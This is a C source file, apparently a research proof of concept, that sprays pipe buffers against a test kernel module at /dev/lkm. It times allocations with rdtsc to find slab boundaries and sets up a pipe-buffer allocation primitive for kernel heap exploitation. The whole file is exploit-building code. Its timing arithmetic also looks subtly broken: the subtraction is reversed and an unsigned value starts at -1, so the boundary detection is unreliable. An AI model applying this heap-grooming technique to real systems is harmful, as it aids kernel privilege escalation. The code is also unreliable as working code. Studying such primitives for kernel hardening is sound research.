116 lines
2.3 KiB
C
116 lines
2.3 KiB
C
#define _GNU_SOURCE
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#include <sys/socket.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#define LKM_DEVICE "/dev/lkm"
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// where does this come from?
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#define OBJS_PER_SLAB 42
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#define SPRAY (OBJS_PER_SLAB * 100)
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#define PIPES (OBJS_PER_SLAB * 10)
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int spray[SPRAY][2];
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int pipes[PIPES][2];
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char buffer[0x100];
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extern inline size_t
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rdtsc_begin(void)
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{
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size_t a, d;
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asm volatile("mfence");
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asm volatile("rdtsc" : "=a"(a), "=d"(d));
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a = (d << 32) | a;
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asm volatile("lfence");
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return a;
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}
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extern inline size_t
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rdtsc_end(void)
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{
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size_t a, d;
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asm volatile("lfence");
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asm volatile("rdtsc" : "=a"(a), "=d"(d));
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a = (d << 32) | a;
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asm volatile("mfence");
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return a;
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}
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int
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main(void)
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{
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printf("main: start\n");
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FILE *device = fopen(LKM_DEVICE, "r+");
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printf("main: spray to reduce TLB noise part 1: %u objects\n", SPRAY);
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for (size_t i = 0; i < SPRAY; i++) {
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int ret;
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ret = pipe2(spray[i], O_NONBLOCK);
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if (ret < 0) {
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printf("main: error: object %lu pipe2: %i\n", i, errno);
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exit(-1);
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}
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ret = fcntl(spray[i][0], F_SETPIPE_SZ, 8192);
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if (ret < 0) {
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printf("main: error: fcntl: object %lu\n", i);
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exit(-1);
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}
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ret = write(spray[i][1], buffer, 8);
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if (ret < 0) {
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printf("main: error: write: object %lu\n", i);
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exit(-1);
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}
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}
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// May need socket and two parts instead
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printf("main: fopen: %p\n", device);
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if (!device) {
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printf(
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"main: fopen: Error opening %s. Make sure the kernel module is loaded\n",
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LKM_DEVICE);
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exit(1);
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}
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printf("main: spray to reduce TLB noise part 2: %u objects\n", SPRAY);
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size_t t_delta;
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size_t t_prev = -1;
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size_t last_slab = -1;
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for (size_t i = 0; i < SPRAY; i++) {
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pipe2(spray[i], O_NONBLOCK);
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size_t t0 = rdtsc_begin();
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fcntl(spray[i][0], F_SETPIPE_SZ, 8192);
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size_t t1 = rdtsc_end();
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write(spray[i][1], buffer, 8);
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t_delta = t0 - t1;
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if (t_delta > (t_prev + 1000)) {
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if (last_slab == (size_t)-1) {
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last_slab = i;
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} else if (i - last_slab == OBJS_PER_SLAB) {
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break;
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} else {
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last_slab = -1;
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}
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}
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t_prev = t_delta;
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}
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for (size_t i = 0; i < PIPES; i++) {
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// Pipe buffer allocation primitive
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pipe2(pipes[i], O_NONBLOCK);
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fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
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write(pipes[i][1], buffer, 8);
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}
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fclose(device);
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printf("main: done\n");
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}
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